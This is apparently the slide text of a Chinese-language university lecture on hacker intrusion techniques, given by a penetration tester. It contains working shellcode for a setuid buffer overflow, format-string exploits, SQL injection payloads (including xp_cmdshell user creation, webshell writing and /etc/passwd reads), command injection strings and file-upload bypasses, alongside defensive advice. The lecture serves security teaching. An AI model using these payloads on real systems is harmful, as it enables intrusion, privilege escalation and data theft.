Transcript or 1=1
師範大學
駭客入侵手法剖析
大綱
前言
入侵過程簡介
系統程式弱點分析
Web 攻擊手法剖析
問題與討論
關於我
OuTian <[email protected]>
現任 敦陽科技 資安服務處 資安顧問
經歷 –
2007/2008/2009 台灣駭客年會講師、發表0day
多次政府、金融、電信、教育、企業單位之
滲透測試服務
資安事件處理與蒐證
資安設備規劃與建置
認證 –
CEH (Certified Ethical Hacker)
前言
聲明
本系列課程內容,僅用於瞭解攻擊手法以
利進行防禦部署,若有任何學員以之進行
非法活動,一切行為與本人及主辦單位無
關,由學員自行負責。
入侵過程簡介
一般入侵過程
資訊收集
弱點探測
侵入系統
提升權限
收集資料
植入後門
資訊收集
主機搜尋
ICMP、TCP scan
Zone Transfer
Google、Bing
服務掃描 ( Port Scan )
nmap、Superscan、amap、scanrand
FIN, Xmas , or Null scan
網路架構探測
traceroute、tcptraceroute、paratrace
作業系統判斷
xprobe、p0f、nmap
由 TCP Fingerprint 辨識系統
弱點探測
人為判斷
服務弱點掃描工具
Nessus OpenVAS
ISS Internet Scanner
Foundstone FoundScan
Dragonsoft Vulnerability Scanner
網頁弱點掃描工具
HP WebInspect
IBM AppScan
Acunetix Web Vulnerabilisy Scanner
Jsky
WebCruiser
skipfish
侵入系統
利用 Web 應用程式的漏洞
利用服務本身的弱點
Brute Force Attack
Sniff
Session Hijacking
Man-in-the-Middle
Social Engineering
提升權限
crack password
vulnerable program/service
.buffer overflow (stack/heap)
.format string
.race condition
.design error
Kernel Exploit
Brute Force Attack
收集資料
破解使用者密碼
修改登入頁面取得密碼
啟動 sniffer 竊聽密碼
"備份資料"
繼續尋找並攻擊內部網路中其他機器
植入後門
後門程式
IRCbot
TCP proxy
植入Rookit
隱藏蹤跡及保留存取權限的工具"組“
修改log紀錄
置換系統工具
後門程式
系統程式弱點分析
常見系統程式弱點
Buffer Overflow
Format String
Buffer Overflow 簡介
最常見的 Internet 攻擊手法
CERT (Computer Security incident Report
Team) 中超過 50% 的 Security Advisory 屬於
於此分類
著名案例
Morris worm (1988): fingerd
– 感染超過 6,000 部主機
CodeRed (2001): MS-IIS server
– 14 小時內,超過 300,000 部主機受感染
SQL Slammer (2003): MS-SQL server
– 10 分鐘內,超過 75,000 部主機受感染
Buffer Overflow 常發生於
以 C 語言開發之各類
kernel
系統程式
應用程式
網路服務程式
cgi 網頁應用程式
以 C 語言所開發之程式語言編譯器/直譯
器
php
perl
… etc
Buffer Overflow 可以用來?
改變應用程式執行過程
引發程式不可預期行為而遭關閉
Denial Of Service
注入 shell code 以執行任意指令
植入後門
提升權限
關閉服務
………etc
Buffer Overflow 的分類
攻擊位置
Local
– 攻擊本機之應用程式
Remote
– 利用網路封包攻擊遠端之服務
攻擊方式
Stack Overflow
– 靜態配置的記憶體空間
Heap Overflow
– 程式執行階段動態配置的空間
聽個音樂也會被入侵?
什麼是 Buffer Overflow?(1)
什麼是 Buffer ?
電腦主記憶體裡之暫存區,用以儲存程式裡之靜態/
動態資料
在程式中長得像這樣:
char buffer[15];
Buffer 的種類
原始碼中靜態宣告
程式執行期間動態配置,利用 Stack 空間 malloc()
什麼是Stack?
電腦程式在執行期間所需要的一塊記憶體,由處理器
支援其運作,遵循後進先出規則。
什麼是 Buffer Overflow?(2)
什麼是Buffer Overflow?
程式中在寫入Buffer的時候,超出預先配置的
大小。
發生這種狀況的時候,有可能:
沒事。
複寫到其他變數中的資料,使程式結果錯誤
複寫到其他變數的指標,發生存取錯誤。
複寫了返回位置,當副程式結束時當掉。
什麼是 Buffer Overflow?(3)
令我們感興趣的狀況:
動態變數(buffer)配置於堆疊區。
複製過長的資料會發生Buffer Overflow
經由Buffer Overflow能夠改變程式的返回位
置
堆疊區在系統記憶體中是可執行的
能夠在堆疊區插入一段程式碼,並改變原程
式的流程,執行我們插入的程式碼。
什麼是 Buffer Overflow?(4)
常發生於以下 C 語言函式中
memcpy()
strcpy()
strcat()
sprintf()
vsprintf()
gets()
scanf()
什麼是 Buffer Overflow?(5)
正常的 strcpy() 動作
什麼是 Buffer Overflow?(6)
Buffer Overflow 攻擊時
Buffer Overflow (Stack)
觀察記憶體內容
Windows
WinDbg
OllyDbg
UNIX
gdb
ddd
Evan's Debugger
有弱點的程式
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[] ) {
char name[256];
if( argc == 1 ) {
printf("Usage: %s name\n", argv[0] );
exit(0);
}
}
strcpy( name , argv[1] );
printf("Hello %s !\n", name );
執行時
輸入過長參數會導致Segmentation Fault
測試 buffer 大小
./bof `perl -e 'print "A"x268'`
替換 x 後方數字直到產生 Segmentation
Fault
使用 gdb 確認 ebp 遭覆蓋
找出 buffer 之起始位址
印出記憶體位址內容
進行 Buffer Overflow Attack !
填入buffer overflow的template –
[NOP] + [Shell Code] + [NOP] + [RET Addr]
[RET Addr]需依實際狀況調整
./bof `perl -e 'print "\x90"x208 .
"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x5
8\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\
x89\xe1\xcd\x80" . "\x90"x30 .
"\x60\xf8\xff\xbf"
攻擊成功!
利用setuid root之程式,進行Buffer
Overflow執行/bin/sh後,跳出原程式進入
shell,並取得root權限
ASLR Implementation
Linux
> kernel 2.6.12
kernel.randomize_va_space
Microsoft Windows
Windows Vista 64bits
Windows Server 2008
OpenBSD
Mac OS
> 10.5 (Not Fully Implementing)
取得 stack pointer
#include <stdio.h>
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main() {
printf("Stack pointer (ESP): 0x%x\n", get_sp() );
}
return 0;
kernel.randomize_va_space
不變
不斷改變
不變
Exec Shield
Windows (DEP)
Windows XP
RedHat Linux
> Fedora Core 1
> RHEL 3 update 3
kernel.exec-shield
Solaris
> Solaris 9
– In /etc/system
Set noexec_user_stack=1
Set noexec_user_stack_log=1
kernel.exec-shield = 0
可執行
kernel.exec-shield = 1
不可執行
Format String 簡介
Format String(格式化字串)用於C語言中
之許多函式
*printf( format string , variable list)
– printf
– fprintf
– sprintf
– vprintf
– vfprintf
– vsprintf
*scanf( format string , address list)
Sample Code
Vulnerable
#include <stdio.h>
int main(int argc, char *argv[] )
{
printf( argv[1] );
}
Safe
#include <stdio.h>
int main(int argc, char *argv[] )
{
printf( “%s” , argv[1] );
}
著名案例
Danger discovered in June 2000.
Examples:
wu-ftpd 2.* :
Linux rpc.statd:
IRIX telnetd:
BSD chpass:
remote root.
remote root
remote root
local root
Exploit
Dumping arbitrary memory
./fs '%08x.%08x.%08x.%08x|%s|'
Writing arbitrary memory
./fs '%08x.%08x.%08x.%08x.%n'
Overflow using Format String
char errmsg[512], outbuf[512];
sprintf (errmsg, “Illegal command:
%400s”, user);
sprintf( outbuf, errmsg );
When user = “%500d <nops>
<shellcode>”
Bypass “%400s” limitation.
Will ovreflow outbuf.
Web攻擊手法剖析
常見 Web 應用程式弱點 (1)
程式過濾不當
SQL Injection
– 竊取資料、入侵網站
Cross Site Scripting
– 利用網站弱點竊取其他用戶資料
Arbitrary File Inclusion
– 入侵網站
Code/Command Injection
– 入侵網站
Directory Traversal
– 瀏覽敏感資訊檔案
Buffer Overflow
– 入侵網站主機
常見 Web 應用程式弱點 (2)
邏輯設計不當
Cookie Poisoning
– 變換身份、提升權限
Parameter Tampering
– 竄改參數,使應用程式出現不可預期反應
Upload File Mis-Handling
– 植入網站木馬
Information Disclosure
– 洩露網站資訊
– Error Handling
Weak Authentication
– 脆弱的認證機制
OWASP Top 10 Vulnerability
OWASP Top 10 (2010) - 1
Injection
Web應用程式執行來自外部如資料庫、作
業系統惡意指令等
SQL Injection
Command Injection
Code Injection
……
SQL Injection
Web 應用程式未檢查使用者的輸入參數,直接將其傳入
資料庫執行SQL
分類
Error Based ( ASP + MSSQL )
Union / Blind / Update Based ( ALL )
Stack Query ( MSSQL )
Extended Procedure ( MSSQL、Oracle )
影響範圍
ASP、.NET、Java、PHP、CGI ………etc
MSSQL、MySQL、Oracle、Sybase、DB2、
PostgreSQL………etc
造成危害 繞過身份驗證
任意 查詢/新增/修改/刪除 資料庫內容
資料庫伺服器遭入侵
找出注入點
修改懷疑可能為 SQL 語句內容之參數
網址參數、POST Form、Cookie、HTTP Headers
數字型
–
–
–
–
–
–
1+1
'
or 1=1-or 2>1-order by 1-and 1/0--
字串型
–
–
–
–
–
–
'
' and ''='
' order by 1-' and 1/0-' and user>0-';declare @a int;--
Bypass Authentication
於登入頁面之帳號密碼欄位,注入SQL語
法以繞過認證
‘ or ‘’=‘
‘ or 1=1-‘ or 1=1/*
繞過身份認證
www.victim.com.tw
登入成功
http://www.victim.com.tw/login.jsp
`
壞人
正常人該作的…
壞人會作的
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
Account
Where
username=‘[帳號]’
and
password=‘[密碼]’
Select
*
From
Account
Where
username=‘admin’
and
password=‘‘ or 1=1--’
Bypass where condition
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 or 1=1--
Error Based
發生於 asp + mssql 之組合情況下
or aspx 開啟 debug
早期最常見之資料庫盜取方式
利用資料庫型別轉換產生之錯誤訊息撈取
內容
@@version>1-order by 100-(select cast(id as nvarchar(4000))+’|’)>1
(select cast(id as
nvarchar(4000))+char(124))>1
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 and
@@version>1--
Union Based
發生於所有程式、所有資料庫環境下
利用在判斷式後結合前後兩段 SQL 以撈
取內容
首先可利用 order by 判斷欄位數量
id=1 order by 10- id=1 union select 1,2,3,4,5- id=1 union select 1,2,3,database(),5- id=1 union select 1,2,3,(select top 1 name from
master..sysdatabases where dbid=7),5—
id=1 union select 1,2,3,load_file(‘/etc/passwd’),5--
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
id,user,message
From
board
Where
id= [網址參數id]
Select
id,user,message
From
board
Where
id= 1
Union select
1,2,version()--
Update Based
發生於所有程式、所有資料庫環境下
利用程式更新資料時,插入欲撈取資料之
SQL,以在更新後得到資料
儘量不要在注入的SQL後面加上 -MSSQL 使用 + 結合字串
Oracle 使用 || 結合字串
‘ + @@version + ‘
‘ + (select name from master..sysdatabases
where dbid=7) +’
‘,email=(select … ),’ …
Why ???
本來的語法長這樣 插入SQL後成為 –
Update
Member
Set
email=‘[email]’,
address=‘[地址]’
Where
user=‘[使用者名稱]’
Update
Member
Set
email=‘‘ + user + ’’ ,
address=‘[地址]’
Where
user=‘[使用者名稱]’
Blind
發生於所有程式、所有資料庫環境下
頁面沒有任何錯誤訊息供判斷,故稱
“Blind”
利用回應頁面的 “是” 與 “否” 判斷所注入
的SQL是否執行成功
id=1 and 1=1
id=1 and 1=2
id=1 and (select top 1
ascii(substring(COLUMN,1,1)) from
TABLE)>79
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 and 1=1
(1 and 1=2)
觀察兩次查詢的結果
Stack Query
發生於資料庫為 MSSQL 時
利用 ; 符號中止原查詢語句,注入欲執行
之動作
可注入任何 SQL 語句,包含四大資料處
理語法(
SELECT/INSERT/DELETE/UPDATE)
、及延伸程序等
id=1 ; drop table account;-id=1 ; exec master..xp_cmdshell ‘net user
Hacker Hacker /add’;--
不正常的Query (1)
使用註解符號中斷 SQL 語句
/*
--
永遠成立的條件
or 1=1-or 2>1-‘ or ‘’=‘
不正常的Query (2)
測試查詢成功與否
and 1=1- and 1=2- ‘;declare @a int;--
使查詢產生錯誤
進行不同型別的轉換 (字串<->整數)
– @@version>1
邏輯運算錯誤
– 1/0
依不存在的欄位排序
– order by 100
不正常的Query (3)
使用union結合兩段query
‘ union select col1,col2,… from table--
呼叫函數或延伸程序
;exec master..xp_cmdshell ‘net user Hacker
Hacker /add’;-;exec master..xp_cmdshell 'echo WEBSHELL
> path/a.asp‘-;exec master..xp_regread
'HKEY_CURRENT_USER,Software\ORL\W
inVNC3',Password;--
Command Injection
執行作業系統指令之參數來自使用者端
Example :
Execute( “dir ” & Request(“dir”) )
插入指令分隔字元
;
|
` `
Listfile.asp?dir=C:\;net user hacker
hacker /add
File Upload Mis-Handling
檔案上傳功能
許多AP都有檔案上傳功能
上傳圖片、音樂、文件….
控管不好的話,駭客可以上傳惡意程式
WebShell 控制後端Web 主機
傳小馬、換大馬
73
傳統防護機制
傳統檢查機制許多都有風險
Client-side validation
– 可被bypass !
MIME Type validation
– 可被假造!
攻擊者可透過自己寫的Script或是自動化程式,一樣利用
HTTP POST方式來上傳檔案,但是自己竄改成假的
MIME Type。
74
傳統防護機制(cont.)
– 某些平台設定本身有漏洞 : Apache + PHP
駭客上傳自己的系統設定檔 “.htaccess”, 內含 :
AddType application/x-httpd-php .jpg
可以讓系統用 PHP 的執行方式來處理 .jpg 的檔案
filename.php.123 ?!
Apache中遇到不認識的副檔名,會找認識的副檔名
來執行
filename.php.jpg ?!
Apache 使用兩種語法來設定執行 PHP : the
AddHandler directive 或是 AddType.
如果是前者,只要檔名中含有 ‘.php’ 就會被當作
PHP檔案來執行。
75
防護建議
利用白名單的觀念,在Web Server中設定
好允許的MIME-Type與其所相對應的程
式附檔名。
避免之前提到的平台漏洞
– 例如 : Apache 的 “.htaccess ”檔案應放置到不會被
瀏覽或上傳取代的位置。
設定範例 (只允許圖檔):
deny from all
<Files ~ "^\w+\.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>
76
防護建議(cont.)
附檔名檢驗
後端一定要做!
小心因檢查不確實而被繞過
– .gif.php (多重附檔名)
– %2E%70%68%70 ( .php)
– .pHp
檔案上傳管理
位置管理 :
– 存放位置應獨立開來,並且做好權限控管(盡量避
免被瀏覽與執行)。
檔名管理 :
– 上傳後的檔名應該被更名
77
網頁編輯器漏洞手冊
http://docs.google.com/View?id=dgd2dg2g_9cbxcbbf6
78
問題與討論